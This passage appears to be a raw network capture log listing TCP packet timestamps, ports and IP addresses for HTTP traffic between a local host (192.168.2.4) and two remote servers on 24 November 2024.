Nov 24, 2024 14:24:41.958370924 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.959095955 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.959166050 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.959219933 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.959265947 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.960004091 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.960094929 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.960141897 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.960901022 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.960973024 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.961020947 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.961065054 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.961821079 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.961894035 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.961926937 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.962068081 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.962749958 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.962857008 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.962869883 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.962919950 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.963653088 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.963706017 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.963710070 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.963764906 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.964579105 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.964637041 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.964751959 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.964832067 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.965511084 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.965574980 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.965626001 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.965758085 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.982393980 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.982522011 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.982641935 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.983408928 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.983522892 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.983568907 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.003076077 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.003143072 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.003200054 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.025036097 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.025155067 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.025216103 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.025962114 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.026015043 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.026071072 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.027378082 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.027476072 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.027534008 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.029308081 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.068037987 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.068142891 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.068145990 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.068933964 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.068986893 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.069046021 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.084745884 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.084855080 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.084889889 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.085889101 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.086127996 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.110613108 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.110742092 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.110879898 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.111589909 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.128388882 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.128443956 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.128444910 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.128504038 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.128797054 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.128849030 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.128966093 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.129023075 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.129059076 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.129106998 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.129515886 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.129566908 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.129627943 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.129779100 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.130472898 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.130520105 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.130594015 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.130641937 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.131377935 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.131445885 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.131587982 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.131625891 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.131639957 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.131659031 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.131697893 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.132339001 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.132388115 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.132430077 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.132493019 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.133225918 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.133276939 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.133337021 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.133388042 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.134131908 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.134179115 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.134238958 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.134280920 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.135056973 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.135162115 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.135176897 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.135226965 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.136053085 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.136111021 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.136187077 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.136234045 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.136887074 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.136934996 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.136965036 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.137016058 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.137851000 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.137906075 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.137943029 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.137995005 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.138748884 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.138812065 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.139003038 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.139053106 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.139694929 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.139749050 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.139750004 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.139792919 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.140585899 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.140697002 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.140753031 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.140803099 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.141511917 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.141562939 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.141608953 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.141675949 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.142529011 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.142590046 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.142616987 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.142666101 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.143379927 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.143428087 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.143502951 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.143558979 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.144288063 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.144391060 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.144450903 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.144495010 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.145214081 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.145272017 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.145335913 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.145385027 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.146132946 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.146183968 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.146223068 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.146271944 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.147073030 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.147125006 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.147200108 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.147248030 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.147996902 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.148055077 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.148118019 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.148173094 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.148910999 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.148971081 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.148999929 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.149051905 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.149827003 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.149879932 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.149930954 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.149980068 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.150723934 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.150772095 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.150835037 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.150880098 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.151688099 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.151758909 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.151809931 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.152578115 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.152632952 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.152695894 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.152746916 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.153485060 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.153553963 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.153614998 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.153665066 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.154405117 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.154454947 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.154514074 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.154565096 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.155352116 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.155401945 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.155462027 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.155512094 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.156269073 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.156320095 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.156374931 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.156541109 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.157181978 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.157231092 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.157289982 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.157368898 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.158124924 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.158175945 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.158231020 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.158279896 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.159020901 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.159073114 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.159135103 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.159194946 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.159956932 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.160007000 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.160161018 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.160228968 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.160895109 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.160944939 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.161006927 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.161056042 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.161777973 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.161895990 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.161920071 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.161947012 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.162693024 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.162744045 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.162806988 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.162923098 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.163651943 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.163702965 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.163759947 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.163815975 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.164563894 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.164618969 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.164683104 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.164768934 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.165498972 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.165549994 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.165601015 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.165649891 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.166428089 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.166480064 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.166495085 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.166552067 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.167331934 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.167380095 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.167412043 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.167464018 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.168255091 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.168302059 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.168418884 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.168468952 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.169166088 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.169207096 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.169287920 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.169333935 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.170078993 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.170188904 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.170211077 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.170257092 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.171003103 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.171055079 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.171118975 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.171185017 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.171932936 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.171999931 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.172063112 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.172123909 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.172343016 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.172858953 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.172918081 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.172954082 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.172996998 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.173774004 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.173894882 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.173914909 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.173958063 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.174810886 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.174917936 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.174966097 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.175633907 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.175681114 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.175764084 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.175827980 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.176549911 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.176595926 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.195946932 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.196053028 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.196114063 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.196846008 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.196979046 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.197066069 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.198807955 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.217638969 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.217675924 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.217690945 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.240139008 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.240241051 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.240286112 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.241008997 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.241072893 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.319056034 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.319096088 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.319175959 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.356455088 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.356494904 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.356578112 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.356829882 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.356885910 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.357062101 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.357119083 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.357152939 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.357218981 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.358010054 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.358066082 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.358078957 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.358134985 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.358912945 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.358963966 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.359025002 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.359086990 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.359838963 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.359930992 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.359983921 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.360770941 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.360825062 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.360830069 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.360881090 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.361684084 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.361737967 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.361813068 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.361865044 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.362613916 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.362668037 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.362729073 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.362778902 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.363514900 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.363670111 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.363720894 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.364428997 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.364496946 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.364553928 CET	80	49838	185.215.113.16	192.168.2.4
